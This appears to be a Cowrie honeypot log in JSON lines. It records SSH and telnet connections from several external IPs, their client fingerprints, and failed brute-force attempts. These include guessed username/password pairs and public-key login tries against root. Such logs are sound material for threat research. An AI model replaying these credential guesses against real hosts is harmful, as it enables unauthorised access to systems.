{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:58.337831Z","src_ip":"2.57.121.112","session":"f72afc8bc1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":29936,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b5591bb3161","protocol":"ssh","message":"New connection: 2.57.121.25:29936 (159.203.135.109:22) [session: 9b5591bb3161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:28.111605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:28.119646Z","src_ip":"2.57.121.25","session":"9b5591bb3161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:28.216139Z","src_ip":"2.57.121.25","session":"9b5591bb3161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gisela","message":"login attempt [user/gisela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:28.672013Z","src_ip":"2.57.121.25","session":"9b5591bb3161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ghjcnjghjcnj","message":"login attempt [user/ghjcnjghjcnj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:29.771930Z","src_ip":"2.57.121.25","session":"9b5591bb3161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gfnhbjn","message":"login attempt [user/gfnhbjn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:30.871783Z","src_ip":"2.57.121.25","session":"9b5591bb3161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gfhjkzytn","message":"login attempt [user/gfhjkzytn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:31.971896Z","src_ip":"2.57.121.25","session":"9b5591bb3161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gazelle","message":"login attempt [user/gazelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:33.071501Z","src_ip":"2.57.121.25","session":"9b5591bb3161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:34.171252Z","src_ip":"2.57.121.25","session":"9b5591bb3161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":11301,"dst_ip":"159.203.135.109","dst_port":22,"session":"04acfd6f520a","protocol":"ssh","message":"New connection: 193.46.255.86:11301 (159.203.135.109:22) [session: 04acfd6f520a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:58.065166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:58.069189Z","src_ip":"193.46.255.86","session":"04acfd6f520a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:58.200731Z","src_ip":"193.46.255.86","session":"04acfd6f520a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:58.789568Z","src_ip":"193.46.255.86","session":"04acfd6f520a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:20:59.920743Z","src_ip":"193.46.255.86","session":"04acfd6f520a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":44808,"dst_ip":"159.203.135.109","dst_port":22,"session":"88b392a24d60","protocol":"ssh","message":"New connection: 194.59.206.2:44808 (159.203.135.109:22) [session: 88b392a24d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:22:19.769448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:22:19.774686Z","src_ip":"194.59.206.2","session":"88b392a24d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:22:19.865216Z","src_ip":"194.59.206.2","session":"88b392a24d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:22:19.960552Z","src_ip":"194.59.206.2","session":"88b392a24d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":54582,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3f266c8d71","protocol":"ssh","message":"New connection: 124.193.81.23:54582 (10.17.0.5:22) [session: fc3f266c8d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:22:39.036003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:22:39.040323Z","src_ip":"124.193.81.23","session":"fc3f266c8d71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:22:39.295201Z","src_ip":"124.193.81.23","session":"fc3f266c8d71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:22:40.347504Z","src_ip":"124.193.81.23","session":"fc3f266c8d71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:22:41.609599Z","src_ip":"124.193.81.23","session":"fc3f266c8d71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.103","src_port":58688,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c3cc70aca5b","protocol":"telnet","message":"New connection: 198.235.24.103:58688 (10.17.0.5:23) [session: 2c3cc70aca5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:22:56.524325Z"}
{"eventid":"cowrie.session.closed","duration":9.806437253952026,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:23:06.330688Z","src_ip":"198.235.24.103","session":"2c3cc70aca5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":41726,"dst_ip":"10.17.0.5","dst_port":22,"session":"387a1dd40c44","protocol":"ssh","message":"New connection: 124.193.81.23:41726 (10.17.0.5:22) [session: 387a1dd40c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:25:42.993196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:25:42.997912Z","src_ip":"124.193.81.23","session":"387a1dd40c44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:25:43.237158Z","src_ip":"124.193.81.23","session":"387a1dd40c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abhijit@123","message":"login attempt [root/abhijit@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:25:44.223841Z","src_ip":"124.193.81.23","session":"387a1dd40c44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:25:45.470089Z","src_ip":"124.193.81.23","session":"387a1dd40c44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.84.56.228","src_port":2899,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fb1d6ad91dd","protocol":"ssh","message":"New connection: 138.84.56.228:2899 (10.17.0.5:22) [session: 8fb1d6ad91dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:28.702786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:28.707781Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:28.853878Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:ac:3d:68:8d:c7:e7:2f:16:c2:9c:71:0c:07:41:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMa0CW9nWdQLOYE7k/grNEU0rb97IHcfl6pSUQND3UDK0ry5eITzjJeVUJ1HSdS6p2yDH2LVH8/qbP89mheqkN1Bvp43L3EB/M1yI0umdkftJw0j4ZH/5GRN8pN1t77uCH0oKQkLmFE3ihuVfm6kOvD1EmHS4e4L4Tw4JRDFgNV5sQVLUMuEvib1a3w7DpJY86fmY660+9G25j2diwkxCHb3KiNPP/97sBUD/6LFi42tVaQwrI/GYDwr855A5uYb6HW7yDtuAtelpbz83ZxZBYCrbQfxWlMNB8M24wKG67A+BGhdsSjPz3vLu54Gif6qt+wZgs6QUwUgilESdE3RGF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:ac:3d:68:8d:c7:e7:2f:16:c2:9c:71:0c:07:41:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:29.563838Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:ac:3d:68:8d:c7:e7:2f:16:c2:9c:71:0c:07:41:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMa0CW9nWdQLOYE7k/grNEU0rb97IHcfl6pSUQND3UDK0ry5eITzjJeVUJ1HSdS6p2yDH2LVH8/qbP89mheqkN1Bvp43L3EB/M1yI0umdkftJw0j4ZH/5GRN8pN1t77uCH0oKQkLmFE3ihuVfm6kOvD1EmHS4e4L4Tw4JRDFgNV5sQVLUMuEvib1a3w7DpJY86fmY660+9G25j2diwkxCHb3KiNPP/97sBUD/6LFi42tVaQwrI/GYDwr855A5uYb6HW7yDtuAtelpbz83ZxZBYCrbQfxWlMNB8M24wKG67A+BGhdsSjPz3vLu54Gif6qt+wZgs6QUwUgilESdE3RGF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:29.568286Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:ea:77:11:d4:a9:15:64:6b:df:14:f2:c8:3d:78:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAviDtS/OmWXSoXFywKD2/mCCHPD56DFhA5PYs6mB43tjB/xZaEXBQhZwpQarScGSW+wB+MNZhVZqBNmn4dArow0t4cWKdnLwBoIsiy+h+aKedLhLU/z5OgK8uWNYeDCXdmxxyyIRy15MvDooZzOpaUHr+guR7fV7Rr5cqGLWNhpSZ2vC+CuO7i46Feb8bQy41hgFCSswVdYfRvRE0eVw32JSzzGh82B5i+CTs96Q3Oz9ehPzvBPxqBBLf1qPCEqfw6VHbn1TbnhrXAXg5kKlmKv50dgHy69zEHrjP7a48dNRQbNOw0RaboU88ugC2qZMb2FGpooee0uayBQFnZxq5Ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:ea:77:11:d4:a9:15:64:6b:df:14:f2:c8:3d:78:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:29.715479Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:ea:77:11:d4:a9:15:64:6b:df:14:f2:c8:3d:78:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAviDtS/OmWXSoXFywKD2/mCCHPD56DFhA5PYs6mB43tjB/xZaEXBQhZwpQarScGSW+wB+MNZhVZqBNmn4dArow0t4cWKdnLwBoIsiy+h+aKedLhLU/z5OgK8uWNYeDCXdmxxyyIRy15MvDooZzOpaUHr+guR7fV7Rr5cqGLWNhpSZ2vC+CuO7i46Feb8bQy41hgFCSswVdYfRvRE0eVw32JSzzGh82B5i+CTs96Q3Oz9ehPzvBPxqBBLf1qPCEqfw6VHbn1TbnhrXAXg5kKlmKv50dgHy69zEHrjP7a48dNRQbNOw0RaboU88ugC2qZMb2FGpooee0uayBQFnZxq5Ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:29.719699Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:bd:96:a6:b5:99:5b:bb:e3:dd:03:82:0d:bd:4e:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQtNOJCam+bXcriW5bkYkEVZjaOlDzMPbXZLU1yUvUCWF8e3ZIsXgiZ0XNmWFhcGyYvBDC387MN8ZQ0wqSRCC4G2Zo2JJ1FpxBCB7M5QS1NzGI27Ki9VaTj5cIxImELeH+5mBh3Ch7c60DCsIi69cz6RdlzoFcjoXPa+ZkTnTWWw8qfjF2JOGbKtTq8ZDz7X7FHlSVehjqWbm+gcSjHTcTACH8qVnPkVi+xBNeTSygU+3Nb0tm+i7DoaDrrbSIsuFJKjyBf8nFrz/bSHXt/bcEmsiyK2Xqqn4NQkq1YT0neG+XRvTKzm9tCALHHr/r+Rrj1/BZqVtEu4wnPZWpHQTL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:bd:96:a6:b5:99:5b:bb:e3:dd:03:82:0d:bd:4e:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:29.877405Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
